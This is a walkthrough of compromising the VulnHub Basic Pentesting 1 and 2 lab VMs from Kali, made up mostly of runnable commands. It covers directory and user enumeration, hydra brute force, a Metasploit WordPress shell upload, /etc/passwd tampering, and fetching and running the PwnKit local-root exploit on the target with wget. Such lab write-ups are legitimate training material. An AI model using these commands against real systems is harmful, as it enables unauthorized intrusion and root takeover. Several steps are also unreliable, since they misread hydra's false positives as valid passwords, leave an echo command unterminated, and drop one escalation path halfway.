This section covers reconnaissance and vulnerability testing activities used to understand attack paths and support defensive improvement.
Basic pentesting is the process of identifying and testing vulnerabilities in a computer system or network. It focuses on:
Scanning for open ports and services
Enumerating users, web directories, and shares
Trying weak or default credentials
Checking for exposed services like SSH, SMB, HTTP
It simulates real-world attacks to reveal how unauthorized access could be gained.
Target VM: basic-pentesting1 (contains intentional vulnerabilities)
Attacker VM: Kali Linux, fully updated
Network: Both VMs must be on the same internal or host-only network
Adapter 1 (Host-Only):
Enable Network Adapter
Promiscuous Mode: Allow All
Virtual Cable Connected
Adapter 2 (NAT):
Network Name: TestNat
Promiscuous Mode: Allow All
Virtual Cable Connected
Kali Linux Updated:
Go to terminal and Run Command:
sudo apt update && sudo apt upgrade -y && sudo apt full-upgrade -y && sudo apt autoremove -y
Connect VMS to same Network(s):
Adapter 1: Host-Only Adapter, Enable Network Adapter, Promiscuous Mode: Allow All, Virtual Cable Connected.
Adapter 2: Nat Network, Same Name: TestNat, Enable Network Adapter, Promiscuous Mode: Allow All, Virtual Cable Connected.
Step 1: Disover the Target:
sudo arp-scan -l
Kali IP: 192.168.56.107
Step 2: Port Scan with Nmap
Next, check which IP is Basic Pentesting 1:
Whichever ports return:
22/tcp ssh
80/tcp http
139/tcp smb
445/tcp microsoft-ds
Basic Pentesting 1 IP: 192.168.56.108
This is exactly what we expect to see for that VM:
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache 2.4.18 (Ubuntu)
This machine is vulnerable through enumeration → find users → SSH brute force → privilege escalation.
Step 3:
Open browser to http://[TARGET_IP]
Look for pages, forms, login areas.
Use:
gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt
Tools:
nikto for quick web vuln scan.
whatweb for tech stack info.
default Apache page, which confirms that the basic-pentesting1 VM is running a web server (probably Apache2) on port 80 at IP 192.168.56.108.
gobuster scan revealed multiple interesting paths, especially:
This means there's a /secret/ directory that's accessible (HTTP 301 redirect). That’s a lead worth pursuing.
Step 4 Visit the page
Open in browser:
http://192.168.56.108/secret/
You're looking for anything like:
Credentials
Notes/messages
Usernames (usually jan and kay 👀)
Maybe a hint toward SSH brute forcing
This is exactly where the next breadcrumbs are hidden.
Now we need to dig deeper inside WordPress to extract usernames & eventually a password for SSH
Step 5 Go to terminal and type: wpscan --url http://192.168.56.108/secret/ --enumerate u
*To discover users
User found: admin
Step 6 Attempt WordPress Admin Login bruteforce
Attempt SSH Brute Force Login using hydra
go to terminal:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.108 http-post-form "/secret/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V
Hydra returned multiple valid passwords, meaning password reuse or weak policy is in play.
Try any of these as WP login:
admin : 123456
admin : password
admin : iloveyou
admin : princess
admin : nicole
admin : 1234567
admin : rockyou
admin : abc123
admin : 12345
admin : daniel
admin : lovely
admin : monkey
admin : babygirl
admin : jessica
Open browser:
http://vtcsec/secret/wp-login.php
Use:
Username: admin
Password: admin
Default user name and password
Next Goal: Use Metasploit WordPress admin access → get meterpreter shell → escalate → become root
Open msfconsole:
msfconsole
search wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload
Copy & paste this WHOLE block inside msfconsole:
show options
exploit
If everything is correct, you should get:
Meterpreter session opened!
meterpreter >
In Meterpreter, type:
shell
If nothing shows, type:
id
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /
pwd
You should now see:
/
Check for Python:
which python
which python3
Step 7 If python3 exists, run:
python3 -c 'import pty; pty.spawn("/bin/bash")'
You should now have:
www-data@ubuntu:/#
ls -l /etc/passwd
If you see:
-rw-rw-rw-
That’s the privilege escalation door wide open
then we can modify passwd for instant root.
This means /etc/passwd is world-writable, so any user — including you (www-data) — can edit it.
We will use that to give ourselves root access.
Now let’s finish this and become ROOT.
Press:
Ctrl + Z
It will ask:
Background? [y/N]
Type:
y
You should now see:
meterpreter >
In meterpreter:
download /etc/passwd .
You will see something like:
[*] Downloaded /etc/passwd -> passwd
This file is now on your host (Kali).
Choose a password you want for root (example: hello)
In a new terminal (not meterpreter):
openssl passwd -1 hello
Copy the hash output.
Example format:
$1$8hd1.xyz$V7n3jfa09sdEXAMPLEHASH
Open the downloaded passwd:
nano passwd
Find the first line:
root:x:0:0:root:/root:/bin/bash
Replace x with the hash you generated:
root:$1$whateverYourHashIs:0:0:root:/root:/bin/bash
Ctrl+O → Enter → Ctrl+X to save.
Run this from your www-data shell:
echo "lake:$1$dDYT0HPy$w2o09.QJ.wjxN/ge1OgVE.:0:0:root:/root:/bin/bash
Download the ready-to-run exploit:
cd ~/Downloads
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
Confirm the file is there:
ls -l PwnKit
Restart the HTTP server in the same folder:
python3 -m http.server 8080
✅ Confirm the file is accessible at:
http://192.168.56.107:8080/PwnKit
cd /tmp
wget http://192.168.56.107:8080/PwnKit
chmod +x PwnKit
./PwnKit
Now confirm:
whoami
id
hostname
Expected:
root
uid=0(root) gid=0(root)
🎉 GAME OVER. You have full system compromise.
Prep Your Lab Environment (30 mins)
Tool Requirements:
Kali Linux (attacker VM)
VulnHub Basic Pentesting 2 VM (target)
Optional: Use pfSense to simulate segmented internal networks
Networking: Set both Kali and target VM to Host-Only Adapter in VirtualBox for isolated lab testing.
Reconnaissance & Enumeration
Check Kali IP range
Command: ip a
Purpose: Identify Kali’s IP and confirm the Host-Only network range (192.168.56.0/24).
Host discovery
Command: sudo netdiscover -r 192.168.56.0/24
Purpose: Identify live hosts on the local subnet and locate the target VM.
Initial Nmap scan (host enumeration)
Command:
sudo nmap -sS -sV -O -A 192.168.56.109 -oN bp2-initial-scan.txt
Purpose: Discover open ports, services, versions, OS information, and save results for analysis.
HTTP service enumeration
Action: Open http://192.168.56.109 in Firefox.
Purpose: Manually review the web application and identify visible directories or pages
Web directory brute-force
Command:
gobuster dir -u http://192.168.56.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
Web vulnerability scanning
Command: nikto -h 192.168.56.109
Purpose: Identify default files, misconfigurations, and potentially exploitable web vulnerabilities.
Browse exposed development directory
Action: Navigate to http://192.168.56.109/development in the browser.
Purpose: Review exposed text/files for usernames, credentials, or system info.
SMB enumeration for usernames
Command: enum4linux 192.168.56.109
Purpose: Enumerate SMB shares and extract valid usernames (e.g., jan).
Credential Attacks & Initial Access
Brute-force SSH credentials with Hydra
Command:
hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.56.109 ssh
Purpose: Discover valid SSH password for user jan (password: armando).
Gain SSH access as jan
Command: ssh jan@192.168.56.109
Action: Enter password armando when prompted.
Purpose: Obtain an interactive shell on the target system.
Local enumeration as jan
Commands:
ls
cd ..
cd kay
ls -al
Purpose: Explore user home directories and identify interesting files such as pass.bak.
Confirm access level
Commands:
id
whoami
Purpose: Verify current user and privilege level (non-root, limited access).
Privilege Escalation
Enumerate SetUID binaries
Command:
find / -perm -4000 2>/dev/null
Purpose: Identify binaries running with elevated (root) privileges, including SUID-enabled vim.
Inspect password backup file
Command:
vim pass.bak
Purpose: View and extract the stored password for user kay.
Switch to kay using recovered password
Command:
su kay
Password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Purpose: Elevate from jan to kay, a more privileged local user.
Gain root access
Command:
sudo su
Purpose: Use sudo from kay’s account to obtain a root shell.
🏁 Flag Capture
Verify root privileges
Command: whoami
Purpose: Confirm that the current user is root
Read the final flag
Command:
cat /root/flag.txt
Purpose: Access and capture the final flag, confirming full system compromise.